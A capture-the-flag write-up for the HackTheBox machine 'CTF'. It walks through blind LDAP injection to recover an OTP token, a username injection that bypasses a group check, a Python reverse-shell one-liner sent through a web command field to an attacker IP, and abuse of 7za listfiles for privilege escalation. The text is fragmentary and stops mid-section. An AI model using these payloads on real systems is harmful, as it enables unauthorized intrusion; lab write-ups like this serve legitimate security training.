HTB CTF

10.10.10.122 | 50 pts | Synack Track | Ticket Master Badge

PART 1 : Initial Recon

1.1 NMAP SCAN

$ nmap --min-rate 700 -p- -v 10.10.10.122

  PORT   STATE SERVICE
  22/tcp open  ssh
  80/tcp open  http
  
$ nmap -oN ctf.nmap -p22,80 -sC -sV -v 10.10.10.122

  PORT   STATE SERVICE VERSION
  22/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
  | ssh-hostkey: 
  |   2048 fd:ad:f7:cb:dc:42:1e:43:7d:b3:d5:8b:ce:63:b9:0e (RSA)
  |   256 3d:ef:34:5c:e5:17:5e:06:d7:a4:c8:86:ca:e2:df:fb (ECDSA)
  |_  256 4c:46:e2:16:8a:14:f6:f0:aa:39:6c:97:46:db:b4:40 (ED25519)
  80/tcp open  http    Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16)
  | http-methods: 
  |   Supported Methods: GET HEAD POST OPTIONS TRACE
  |_  Potentially risky methods: TRACE
  |_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
  |_http-title: CTF

PART 2 : Port Enumeration

2.1 TCP PORT 80 : HTTP

Visiting http://10.10.10.122:

The site is protected against bruteforcing which means automated tools are not an efficient option. Looking at /login.php:

Page Source (/login.php):

NOTE(S):

An error message pops up when guessing the Username input:

Now, testing for possible injection -- inputUsername=%3D (%3D is "=") and no error message popped up.

  • !, &, *, (, ), \, |, <, and > also doesn't return an error message

These are special characters in LDAP so maybe these characters are being filtered out by /login.php. It is also important to note that a token string for the OTP is stored in a pre-existing attribute so the login might actually be validated using LDAP.

PART 3 : EXPLOITATION

3.1 LDAP Blind Injection

Attempt exploitation using LDAP Injection using a wildcard "*" as a payload:

The following response was given by the server:

This error message means we have a valid username and that the injection has worked. Now attempting to extract a real valid user using python:

Run using python3 and a user, ldapuser, has been extracted:

Now finding all available/usable LDAP Attributes using ldap_attribute_list.txt (copied from ldap-brute from GitHub):

Run using python3 and the following were returned -- userPassword, pager, and objectClass might be of interest:

Extracting the contents of userPassword:

Run using python3:

The userPassword attribute is a bit special:

So with ldapuser))(&(uid=ldapuser)(userPassword:2.5.13.18:=, a simple wildcard comparison won't do:

A sha512crypt hash was extracted but this seems to be a RABBIT HOLE. But the pager attribute seems promising:

Run using python3 and it seems like the attribute contains the token which is a Pure Numeric CTF (Compressed Token Format) string:

3.2 OTP Generation

Generate an OTP using the token string with stoken:

Login using the credentials found/generated (ldapuser:83502926) then you are redirected to /page.php:

Page Source (/page.php):

An error message pops up when fuzzing the inputCmd's input:

There was a gidNumber back during bruteforcing the available LDAP attributes:

  • root and adm has group numbers 0 and 4 respectively

  • Maybe ldapuser's group number could be added to the check done by /page.php

Maybe the group restriction could be bypassed by passing an LDAP injection as a username like ldapuser))(|(gidNumber:2.5.13.14:=1000when loggin in:

USERNAME

PASSWORD

ldapuser%29%29%28%7C%28gidNumber%3A2.5.13.14%3A%3D1000

Generate an OTP using stoken

Checking if ldapuser's GID is ineed 1000:

The script returned the following --[x] ldapuser's gidNumber : 1000

According to Microsoft, gidNumber has an Enumeration Syntax with a Matching Rule

Using the new username, The group restriction no longer applies.

PART 4 : Generate User Shell

4.1 Reverse Shell as apache

On the local machine:

Sending a reverse shell on /page.php:

inputCmd

inputOTP

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.12.62",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Generate an OTP using stoken

While inside the reverse shell:

4.2 SSH as ldapuser

Login as ldapuser via ssh:

ldapuser shell:

PART 5 : Privilege Escalation (ldapuser -> root)

5.1 honeypot.sh

Enumerating the system using ldapuser shell:

There is a script named honeypot.sh and backup files seem to be generated every minute:

Breakdown of honeypot.sh:

  • Keeps a maximum of 10 most recent backups in /backup.

  • Backs everything up in /var/www/html/uploads

  • The backups are password-protected and running pspy doesn't show when 7za is run which means that the password can't be intercepted.

  • The -- switch protects 7za from wildcard injection.

  • Everything in /var/www/html/uploads are deleted after backup.

  • Errors generated (maybe) are deleted after everything

5.2 7za listfiles

Leveraging honeypot.sh by exploiting what 7za can do:

Since all switches after -- will be ignored meaning wildcard injection is no longer a viable option but, [<@listfiles...>] could still be controlled

  • @ references to a listfile

  • A listfile contains one file per line

  • Using absolute paths are helpful

  • 7za will archive the files in the listfile

To leverage @listfiles, write a file to /var/www/html/uploads:

The reverse shell from earlier has a user apache so the permissions could be changed using /page.php

inputCmd

inputOTP

chmod 777 /var/www/html/uploads

Generate an OTP using stoken

Now, create relevant files:

Since list is not a valid listfile, an error will be thrown. Attempting to capture /backup/error.log before contents are truncated by honeypot.sh:

Last updated